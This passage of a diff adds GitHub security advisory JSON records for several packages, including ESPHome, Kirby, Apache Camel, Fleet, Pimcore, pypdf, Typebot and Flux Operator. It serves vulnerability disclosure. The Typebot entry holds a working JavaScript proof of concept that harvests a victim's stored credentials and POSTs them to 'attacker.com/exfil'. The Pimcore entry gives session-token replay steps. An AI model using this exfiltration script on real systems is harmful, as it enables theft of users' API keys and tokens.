"https://github.com/lobehub/lobehub/security/advisories/GHSA-4gpc-rhpj-9443" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23733" + }, + { + "type": "PACKAGE", + "url": "https://github.com/lobehub/lobe-chat" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-94" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2026-01-20T17:54:49Z", + "nvd_published_at": "2026-01-18T23:15:48Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4h3h-63v6-88qx/GHSA-4h3h-63v6-88qx.json b/advisories/github-reviewed/2026/01/GHSA-4h3h-63v6-88qx/GHSA-4h3h-63v6-88qx.json new file mode 100644 index 0000000000000..9a5ae616b8048 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4h3h-63v6-88qx/GHSA-4h3h-63v6-88qx.json @@ -0,0 +1,73 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4h3h-63v6-88qx", + "modified": "2026-01-21T01:02:49Z", + "published": "2026-01-21T01:02:49Z", + "aliases": [ + "CVE-2026-23833" + ], + "summary": "ESPHome vulnerable to denial-of-service via out-of-bounds check bypass in the API component", + "details": "### Summary\nAn integer overflow in the API component's protobuf decoder allows denial-of-service attacks when API encryption is not used.\n\n### Details\nThe bounds check `ptr + field_length > end` in `components/api/proto.cpp` can overflow when a malicious client sends a large `field_length` value. This affects all ESPHome device platforms (ESP32, ESP8266, RP2040, LibreTiny). The overflow bypasses the out-of-bounds check, causing the device to read invalid memory and crash.\n\nWhen using the plaintext API protocol, this attack can be performed without authentication. When noise encryption is enabled, knowledge of the encryption key is required.\n\n### Affected Versions\nESPHome 2025.9.0 through 2025.12.6\n\n### Mitigation\n- Upgrade to ESPHome 2025.12.7 or later (or 2026.1.0b3 or later)\n- [Enable API encryption](https://esphome.io/components/api.html#configuration-variables) with a unique key per device\n- Follow the [Security Best Practices](https://esphome.io/guides/security_best_practices/)\n\n### Severity\nLow - Users following [Security Best Practices](https://esphome.io/guides/security_best_practices/) with API encryption enabled are not affected without knowledge of the encryption key.\n\n### Impact\nDenial-of-service. An attacker with network access to port 6053 can crash and reboot the device.\n\n### Credits\nThanks to [@Mat931](https://github.com/Mat931) for responsibly reporting this vulnerability.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "esphome" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2025.9.0" + }, + { + "fixed": "2025.12.7" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/esphome/esphome/security/advisories/GHSA-4h3h-63v6-88qx" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23833" + }, + { + "type": "WEB", + "url": "https://github.com/esphome/esphome/pull/13306" + }, + { + "type": "WEB", + "url": "https://github.com/esphome/esphome/commit/69d7b6e9210390051318bd8e6410727689de08d6" + }, + { + "type": "WEB", + "url": "https://esphome.io/guides/security_best_practices" + }, + { + "type": "PACKAGE", + "url": "https://github.com/esphome/esphome" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-190" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-21T01:02:49Z", + "nvd_published_at": "2026-01-19T18:16:06Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4j78-4xrm-cr2f/GHSA-4j78-4xrm-cr2f.json b/advisories/github-reviewed/2026/01/GHSA-4j78-4xrm-cr2f/GHSA-4j78-4xrm-cr2f.json new file mode 100644 index 0000000000000..b0981b49304fc --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4j78-4xrm-cr2f/GHSA-4j78-4xrm-cr2f.json @@ -0,0 +1,72 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4j78-4xrm-cr2f", + "modified": "2026-01-08T20:32:05Z", + "published": "2026-01-08T20:32:05Z", + "aliases": [ + "CVE-2026-21896" + ], + "summary": "Kirby is missing permission checks in the content changes API", + "details": "### TL;DR\n\nThis vulnerability affects all Kirby sites where user permissions are configured to prevent specific role(s) from performing write actions, specifically by disabling the `update` permission with the intent to prevent modifications to site content.\n\nIf developers haven't configured any user permissions that deviate from the default of allowing all actions, their site is *not* affected.\n\n----\n\n### Introduction\n\nKirby allows to restrict the permissions of specific user roles. Users of that role can only perform permitted actions.\n\nPermissions for updating content have already existed and could be configured for each model type, but were not enforced by Kirby's API backend code during operations to the changes version.\n\nThe changes version is the content version that contains unsaved changes of existing models (pages, users, files or the site).\n\n### Impact\n\nThe missing permission checks allowed attackers with Panel access to create or discard a changes version or update the content fields in an existing changes version. All of these actions could affect arbitrary models.\n\nThis could cause the following impact:\n\n- Attackers could maliciously create changes versions for all models of the site, creating editing locks that would prevent other authenticated users from making content changes until those locks were cleared.\n- Attackers could update the content in a malicious way, for example by adding defamatory or spam content or by including malicious links or scripts. While this updated content would not immediately be published to the site, an inattentive editor with update permissions could inadvertently publish these changes in the belief that an authorized user has made them.\n- Attackers could discard extensive changes, making editors lose their content work.\n\n### Patches\n\nThe problem has been patched in [Kirby 5.2.2](https://github.com/getkirby/kirby/releases/tag/5.2.2). Please update to this or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability.\n\nIn the mentioned release, we have added checks for the model `update` permissions that ensure that users without this permission cannot create, edit or discard the changes version of the respective model.\n\nA future Kirby release will add separate `edit` and `save` permissions that will make it possible to control write actions to model content more granularly.\n\n### Credits\n\nThanks to Lukas Kleinschmidt (@lukaskleinschmidt) for responsibly reporting the identified issue.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "getkirby/cms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "5.0.0" + }, + { + "fixed": "5.2.2" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 5.2.1" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/getkirby/kirby/security/advisories/GHSA-4j78-4xrm-cr2f" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21896" + }, + { + "type": "WEB", + "url": "https://github.com/getkirby/kirby/commit/f5ce1347b427b819bf193acf11fd0da232f7af47" + }, + { + "type": "PACKAGE", + "url": "https://github.com/getkirby/kirby" + }, + { + "type": "WEB", + "url": "https://github.com/getkirby/kirby/releases/tag/5.2.2" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-863" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-08T20:32:05Z", + "nvd_published_at": "2026-01-08T18:15:59Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4jrw-64vr-7g8m/GHSA-4jrw-64vr-7g8m.json b/advisories/github-reviewed/2026/01/GHSA-4jrw-64vr-7g8m/GHSA-4jrw-64vr-7g8m.json new file mode 100644 index 0000000000000..8e0b0c2fad997 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4jrw-64vr-7g8m/GHSA-4jrw-64vr-7g8m.json @@ -0,0 +1,133 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4jrw-64vr-7g8m", + "modified": "2026-01-15T22:33:18Z", + "published": "2026-01-14T12:31:38Z", + "aliases": [ + "CVE-2025-66169" + ], + "summary": "Apache Camel camel-neo4j component is vulnerable to cypher injection", + "details": "Cypher Injection vulnerability in Apache Camel camel-neo4j component.\n\nThis issue affects Apache Camel: from 4.10.0 before 4.10.8, from 4.14.0 before 4.14.3, from 4.15.0 before 4.17.0\n\nUsers are recommended to upgrade to version 4.10.8 for 4.10.x LTS and 4.14.3 for 4.14.x LTS and 4.17.0.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.apache.camel:camel-neo4j" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.10.0" + }, + { + "fixed": "4.10.8" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "org.apache.camel:camel-neo4j" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.14.0" + }, + { + "fixed": "4.14.3" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Maven", + "name": "org.apache.camel:camel-neo4j" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.15.0" + }, + { + "fixed": "4.17.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66169" + }, + { + "type": "WEB", + "url": "https://github.com/apache/camel/pull/20035" + }, + { + "type": "WEB", + "url": "https://github.com/apache/camel/pull/20036" + }, + { + "type": "WEB", + "url": "https://github.com/apache/camel/pull/20037" + }, + { + "type": "WEB", + "url": "https://github.com/apache/camel/commit/66715d3feb4ba15df30cffe437e45efeedfba10d" + }, + { + "type": "WEB", + "url": "https://github.com/apache/camel/commit/723e2cd98ce4b4ceb1dd38837bc113fca0cef170" + }, + { + "type": "WEB", + "url": "https://github.com/apache/camel/commit/e46c4c0ef542a64dc791253763a8273dfd7fb179" + }, + { + "type": "WEB", + "url": "https://camel.apache.org/security/CVE-2025-66169.html" + }, + { + "type": "PACKAGE", + "url": "https://github.com/apache/camel" + }, + { + "type": "WEB", + "url": "https://issues.apache.org/jira/browse/CAMEL-22719" + }, + { + "type": "WEB", + "url": "http://www.openwall.com/lists/oss-security/2026/01/13/5" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-74", + "CWE-89", + "CWE-943" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-14T21:17:27Z", + "nvd_published_at": "2026-01-14T12:16:32Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4r5r-ccr6-q6f6/GHSA-4r5r-ccr6-q6f6.json b/advisories/github-reviewed/2026/01/GHSA-4r5r-ccr6-q6f6/GHSA-4r5r-ccr6-q6f6.json new file mode 100644 index 0000000000000..8cc36528c6445 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4r5r-ccr6-q6f6/GHSA-4r5r-ccr6-q6f6.json @@ -0,0 +1,146 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4r5r-ccr6-q6f6", + "modified": "2026-02-27T22:03:20Z", + "published": "2026-01-20T20:55:14Z", + "aliases": [ + "CVE-2026-23517" + ], + "summary": "Fleet has an Access Control vulnerability in debug/pprof endpoints", + "details": "### Summary\n\nA broken access control issue in Fleet allowed authenticated users to access debug and profiling endpoints regardless of role. As a result, low-privilege users could view internal server diagnostics and trigger resource-intensive profiling operations.\n\n### Impact\n\nFleet’s debug/pprof endpoints are accessible to any authenticated user regardless of role, including the lowest-privilege “Observer” role. This allows low-privilege users to access sensitive server internals, including runtime profiling data and in-memory application state, and to trigger CPU-intensive profiling operations that could lead to denial of service.\n\n### Patches\n\n- 4.78.3\n- 4.77.1\n- 4.76.2\n- 4.75.2\n- 4.53.3\n\n### Workarounds\n\nIf an immediate upgrade is not possible, users should put the debug/pprof endpoints behind an IP allowlist. \n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\nEmail us at [security@fleetdm.com](mailto:security@fleetdm.com)\nJoin #fleet in [osquery Slack](https://join.slack.com/t/osquery/shared_invite/zt-h29zm0gk-s2DBtGUTW4CFel0f0IjTEw)\n\n### Credits\n\nWe thank @secfox-ai for responsibly reporting this issue.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/fleetdm/fleet" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.78.0" + }, + { + "fixed": "4.78.3" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/fleetdm/fleet" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.77.0" + }, + { + "fixed": "4.77.1" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/fleetdm/fleet" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.76.0" + }, + { + "fixed": "4.76.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/fleetdm/fleet" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.75.0" + }, + { + "fixed": "4.75.2" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/fleetdm/fleet/v4" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "4.78.3-0.20260112221730-5c030e32a3a9" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/fleetdm/fleet/security/advisories/GHSA-4r5r-ccr6-q6f6" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23517" + }, + { + "type": "WEB", + "url": "https://github.com/fleetdm/fleet/commit/5c030e32a3a9bc512355b5e1bf19636e4e6d0317" + }, + { + "type": "PACKAGE", + "url": "https://github.com/fleetdm/fleet" + }, + { + "type": "WEB", + "url": "https://pkg.go.dev/vuln/GO-2026-4334" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-862", + "CWE-863" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-20T20:55:14Z", + "nvd_published_at": "2026-01-21T22:15:49Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4wg4-p27p-5q2r/GHSA-4wg4-p27p-5q2r.json b/advisories/github-reviewed/2026/01/GHSA-4wg4-p27p-5q2r/GHSA-4wg4-p27p-5q2r.json new file mode 100644 index 0000000000000..e91350981547c --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4wg4-p27p-5q2r/GHSA-4wg4-p27p-5q2r.json @@ -0,0 +1,102 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4wg4-p27p-5q2r", + "modified": "2026-01-15T20:18:09Z", + "published": "2026-01-15T18:14:17Z", + "aliases": [ + "CVE-2026-23496" + ], + "summary": "Pimcore Web2Print Tools Bundle \"Favourite Output Channel Configuration\" Missing Function Level Authorization", + "details": "### Summary\nThe application fails to enforce proper server-side authorization checks on the API endpoint responsible for managing \"Favourite Output Channel Configurations.\" Testing revealed that an authenticated backend user without explicitely lacking permissions for this feature was still able to successfully invoke the endpoint and modify or retrieve these configurations. This violates the principle of least privilege and constitutes a classic example of Broken Access Control (OWASP Top 10 A01:2021). Because authorization is not validated at the function level, any authenticated user can perform actions intended only for privileged roles, leading to horizontal or vertical privilege escalation.\n\n### Detail\nThe backend user without permission was still able to list, create, update \"Favourite Output Channel Configuration\" item\n\n### Step to Reproduce the issue\nlogin as Admin (full permission) and clicked \"Favourite Output Channel Configurations\"\n\"Screenshot\nThen, captured and saved the request:\n-List API\n\"Screenshot\n-Create API\n\"Screenshot\n-Update API\n\"Screenshot\n\nNext, login a backend user with no permission\n\"Screenshot\nThe copy the \"Cookie\" and \"X-Pimcore-Csrf-Token\"\n\"Screenshot\nAfter that, pasted the copied \"Cookie\" and \"X-Pimcore-Csrf-Token\" to captured request\n- List API\n\"Screenshot\n- Create API\n\"Screenshot\n- Update API\n\"Screenshot\n\n\n### Impact\nSuccessful exploitation allows low-privileged or standard users to view, create, modify that should be restricted to specific administrative or operational roles. Depending on the sensitivity of these configurations (e.g., routing of alerts, reports, or data streams), an attacker could redirect critical outputs, suppress notifications, insert misleading channels, or gain insight into internal workflows. In regulated environments, this may result in compliance violations, operational disruption, or facilitation of further attacks through reconnaissance.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "pimcore/web2print-tools-bundle" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "6.0.0-RC1" + }, + { + "fixed": "6.1.1" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 6.1" + } + }, + { + "package": { + "ecosystem": "Packagist", + "name": "pimcore/web2print-tools-bundle" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "5.2.2" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 5.2.1" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-4wg4-p27p-5q2r" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23496" + }, + { + "type": "WEB", + "url": "https://github.com/pimcore/web2print-tools/pull/108" + }, + { + "type": "WEB", + "url": "https://github.com/pimcore/web2print-tools/commit/7714452a04b9f9b077752784af4b8d0b05e464a1" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pimcore/pimcore" + }, + { + "type": "WEB", + "url": "https://github.com/pimcore/web2print-tools/releases/tag/v5.2.2" + }, + { + "type": "WEB", + "url": "https://github.com/pimcore/web2print-tools/releases/tag/v6.1.1" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-284" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-01-15T18:14:17Z", + "nvd_published_at": "2026-01-15T17:16:08Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4xc4-762w-m6cg/GHSA-4xc4-762w-m6cg.json b/advisories/github-reviewed/2026/01/GHSA-4xc4-762w-m6cg/GHSA-4xc4-762w-m6cg.json new file mode 100644 index 0000000000000..47610f95f8262 --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4xc4-762w-m6cg/GHSA-4xc4-762w-m6cg.json @@ -0,0 +1,73 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4xc4-762w-m6cg", + "modified": "2026-01-11T14:53:34Z", + "published": "2026-01-09T19:48:22Z", + "aliases": [ + "CVE-2026-22690" + ], + "summary": "pypdf has possible long runtimes for missing /Root object with large /Size values", + "details": "### Impact\nAn attacker who exploits this vulnerability can craft a PDF which leads to possibly long runtimes for actually invalid files. This can be achieved by omitting the `/Root` entry in the trailer, while using a rather large `/Size` value. Only the non-strict reading mode is affected.\n\n### Patches\nThis has been fixed in [pypdf==6.6.0](https://github.com/py-pdf/pypdf/releases/tag/6.6.0).\n\n### Workarounds\n\n```python\nfrom pypdf import PdfReader, PdfWriter\n\n\n# Instead of\nreader = PdfReader(\"file.pdf\")\n# use the strict mode:\nreader = PdfReader(\"file.pdf\", strict=True)\n\n# Instead of\nwriter = PdfWriter(clone_from=\"file.pdf\")\n# use an explicit strict reader:\nwriter = PdfWriter(clone_from=PdfReader(\"file.pdf\", strict=True))\n```\n\n### Resources\nThis issue has been fixed in #3594.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U" + } + ], + "affected": [ + { + "package": { + "ecosystem": "PyPI", + "name": "pypdf" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "6.6.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-4xc4-762w-m6cg" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22690" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/pull/3594" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/commit/294165726b646bb7799be1cc787f593f2fdbcf45" + }, + { + "type": "PACKAGE", + "url": "https://github.com/py-pdf/pypdf" + }, + { + "type": "WEB", + "url": "https://github.com/py-pdf/pypdf/releases/tag/6.6.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-400" + ], + "severity": "LOW", + "github_reviewed": true, + "github_reviewed_at": "2026-01-09T19:48:22Z", + "nvd_published_at": "2026-01-10T05:16:01Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4xc5-wfwc-jw47/GHSA-4xc5-wfwc-jw47.json b/advisories/github-reviewed/2026/01/GHSA-4xc5-wfwc-jw47/GHSA-4xc5-wfwc-jw47.json new file mode 100644 index 0000000000000..91ae61cd28b4a --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4xc5-wfwc-jw47/GHSA-4xc5-wfwc-jw47.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4xc5-wfwc-jw47", + "modified": "2026-01-22T18:02:12Z", + "published": "2026-01-22T18:02:12Z", + "aliases": [ + "CVE-2025-65098" + ], + "summary": "Typebot affected by Credential Theft via Client-Side Script Execution and API Authorization Bypass", + "details": "### Summary\n\nClient-side script execution in Typebot allows stealing all stored credentials from any user. When a victim previews a malicious typebot by clicking \"Run\", JavaScript executes in their browser and exfiltrates their OpenAI keys, Google Sheets tokens, and SMTP passwords. The `/api/trpc/credentials.getCredentials` endpoint returns plaintext API keys without verifying credential ownership\n\n---\n\n### Details\n\nThe Script block with \"Execute on client\" enabled runs arbitrary JavaScript in the victim's browser with their authenticated session. This allows API calls on their behalf.\n\nThe `/api/trpc/credentials.getCredentials` endpoint returns plaintext credentials:\n\n```http\nGET /api/trpc/credentials.getCredentials?input={\"json\":{\"scope\":\"user\",\"credentialsId\":\"cm6sofgv200085ms9d2qyvgwc\"}}\n\nResponse:\n{\n \"result\": {\n \"data\": {\n \"json\": {\n \"name\": \"My OpenAI Key\",\n \"data\": { \"apiKey\": \"sk-proj-abc123...xyz789\" }\n }\n }\n }\n}\n```\n\nThe endpoint only checks if you're authenticated, not if you own the credential. Anyone can steal credentials by calling this with different IDs.\n\nVulnerable file: `packages/embeds/js/src/features/blocks/logic/script/executeScript.ts`\n\n---\n\n### PoC\n\nHere's how to reproduce:\n\n1. Create a new typebot in the Builder\n2. Add a Script block and enable \"Execute on client\"\n3. Paste this code:\n\n```javascript\nconst exfil = async () => {\n const data = { credentials: [] };\n\n const list = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.listCredentials?input=\" +\n encodeURIComponent(JSON.stringify({ json: { scope: \"user\" } })),\n { credentials: \"include\" }\n );\n const creds = (await list.json()).result?.data?.json?.credentials || [];\n\n for (const c of creds) {\n const full = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.getCredentials?input=\" +\n encodeURIComponent(\n JSON.stringify({ json: { scope: \"user\", credentialsId: c.id } })\n ),\n { credentials: \"include\" }\n );\n const d = await full.json();\n data.credentials.push({\n name: d.result.data.json.name,\n type: c.type,\n apiKey: d.result.data.json.data.apiKey,\n fullData: d.result.data.json.data,\n });\n }\n\n const ws = await fetch(\n \"https://app.typebot.io/api/trpc/workspace.listWorkspaces\",\n { credentials: \"include\" }\n );\n const workspaces = (await ws.json()).result.data.json.workspaces;\n\n for (const w of workspaces) {\n const wsList = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.listCredentials?input=\" +\n encodeURIComponent(\n JSON.stringify({ json: { workspaceId: w.id, scope: \"workspace\" } })\n ),\n { credentials: \"include\" }\n );\n const wsCreds = (await wsList.json()).result?.data?.json?.credentials || [];\n\n for (const c of wsCreds) {\n const full = await fetch(\n \"https://app.typebot.io/api/trpc/credentials.getCredentials?input=\" +\n encodeURIComponent(\n JSON.stringify({\n json: {\n workspaceId: w.id,\n scope: \"workspace\",\n credentialsId: c.id,\n },\n })\n ),\n { credentials: \"include\" }\n );\n const d = await full.json();\n data.credentials.push({\n workspace: w.name,\n name: d.result.data.json.name,\n type: c.type,\n fullData: d.result.data.json.data,\n });\n }\n }\n\n await fetch(\"https://attacker.com/exfil\", {\n method: \"POST\",\n body: JSON.stringify(data),\n });\n};\nawait exfil();\n```\n\n4. Share typebot with victim\n5. When victim clicks \"Run\" to preview, script executes\n6. All credentials exfiltrated in plaintext:\n\n```json\n{\n \"credentials\": [\n {\n \"name\": \"My OpenAI\",\n \"type\": \"openai\",\n \"apiKey\": \"sk-proj-abc123...\",\n \"fullData\": { \"apiKey\": \"sk-proj-abc123...\" }\n },\n {\n \"workspace\": \"Company Workspace\",\n \"name\": \"Google Sheets\",\n \"type\": \"google-sheets\",\n \"fullData\": {\n \"refresh_token\": \"1//0gHdP...\",\n \"access_token\": \"ya29.a0...\"\n }\n }\n ]\n}\n```\n\n---\n\n### Impact\n\nAll Typebot users storing credentials are affected. Attackers can steal OpenAI API keys, Google Sheets tokens, SMTP passwords, and all other stored credentials.\n\nExample: Attacker creates a \"Customer Feedback Template\" and shares with 5 company employees. When they preview it, the attacker obtains the company's OpenAI key ($500+/month), Google Sheets access with customer data, and SMTP credentials.\n\nRoot causes:\n\n- Client-side scripts execute with victim's authenticated session\n- API returns plaintext credentials without ownership verification\n- No user warnings or consent prompts\n- Exploitable with free tier account\n\nCWE-639 (Authorization Bypass), CWE-79 (XSS), CWE-311 (Missing Encryption)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@typebot.io/js" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.9.15" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/baptisteArno/typebot.io/security/advisories/GHSA-4xc5-wfwc-jw47" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65098" + }, + { + "type": "WEB", + "url": "https://github.com/baptisteArno/typebot.io/commit/a68f0c91790af8f52f17557f4aa202e966e7e579" + }, + { + "type": "PACKAGE", + "url": "https://github.com/baptisteArno/typebot.io" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-01-22T18:02:12Z", + "nvd_published_at": "2026-01-22T15:16:48Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/01/GHSA-4xh5-jcj2-ch8q/GHSA-4xh5-jcj2-ch8q.json b/advisories/github-reviewed/2026/01/GHSA-4xh5-jcj2-ch8q/GHSA-4xh5-jcj2-ch8q.json new file mode 100644 index 0000000000000..238d638c5cefb --- /dev/null +++ b/advisories/github-reviewed/2026/01/GHSA-4xh5-jcj2-ch8q/GHSA-4xh5-jcj2-ch8q.json @@ -0,0 +1,74 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4xh5-jcj2-ch8q", + "modified": "2026-01-22T15:40:22Z", + "published": "2026-01-21T22:23:33Z", + "aliases": [ + "CVE-2026-23990" + ], + "summary": "Flux Operator Web UI Impersonation Bypass via Empty OIDC Claims", + "details": "A privilege escalation vulnerability exists in the Flux Operator Web UI authentication code that allows an attacker to bypass Kubernetes RBAC impersonation and execute API requests with the operator's service account privileges.\n\nAfter OIDC token claims are processed through CEL expressions, there is no validation that the resulting `username` and `groups` values are non-empty. When both values are empty, the Kubernetes client-go library does not add impersonation headers to API requests, causing them to be executed with the flux-operator service account's credentials instead of the authenticated user's limited permissions.\n\n### Impact\n\n- **Privilege Escalation**: Any authenticated user can escalate to operator-level read permissions and perform suspend/resume/reconcile actions\n- **Data Exposure**: Unauthorized read access to Flux resources across all namespaces, bypassing RBAC restrictions\n- **Information Disclosure**: View sensitive GitOps pipeline configurations, source URLs, and deployment status across the entire cluster\n\n### Attack Scenario\n\n**Prerequisite**: Cluster admins must configure the Flux Operator with an OIDC provider that issues tokens lacking the expected claims (e.g., `email`, `groups`), or configure custom CEL expressions that can evaluate to empty values.\n\n1. Cluster admin configures OIDC authentication with a provider that does not include `email` or `groups` claims in tokens\n2. User authenticates with a valid token from that provider\n3. The default CEL expressions evaluate to empty values:\n - Username: `has(claims.email) ? claims.email : ''` → `\"\"`\n - Groups: `has(claims.groups) ? claims.groups : []` → `[]`\n4. Authentication succeeds (token signature is valid)\n5. A userClient is created with empty impersonation config\n6. All subsequent API requests bypass impersonation and execute as the flux-operator service account\n7. User gains operator-level read access across all namespaces\n\n### Patches\n\nThis vulnerability was fixed in Flux Operator v0.40.0.\n\n### Workarounds\n\nThe workaround is to make the `email` and `groups` claims required in the web config `impersonation` section.\n\nExample config:\n\n```yaml\napiVersion: web.fluxcd.controlplane.io/v1\nkind: Config\nspec:\n baseURL: https://flux.example.com\n authentication:\n type: OAuth2\n oauth2:\n provider: OIDC\n clientID: \"\"\n clientSecret: \"\"\n issuerURL: \"https://login.microsoftonline.com//v2.0\"\n scopes: [openid, profile, email, offline_access]\n impersonation:\n username: claims.email\n groups: claims.groups\n```\n\n### References\n\nSee the Pull Request fixing this vulnerability https://github.com/controlplaneio-fluxcd/flux-operator/pull/610 \n\n### Credits\n\nThis vulnerability was discovered by the Flux Operator maintainers during a debugging session with end-users.", + "severity": [ + 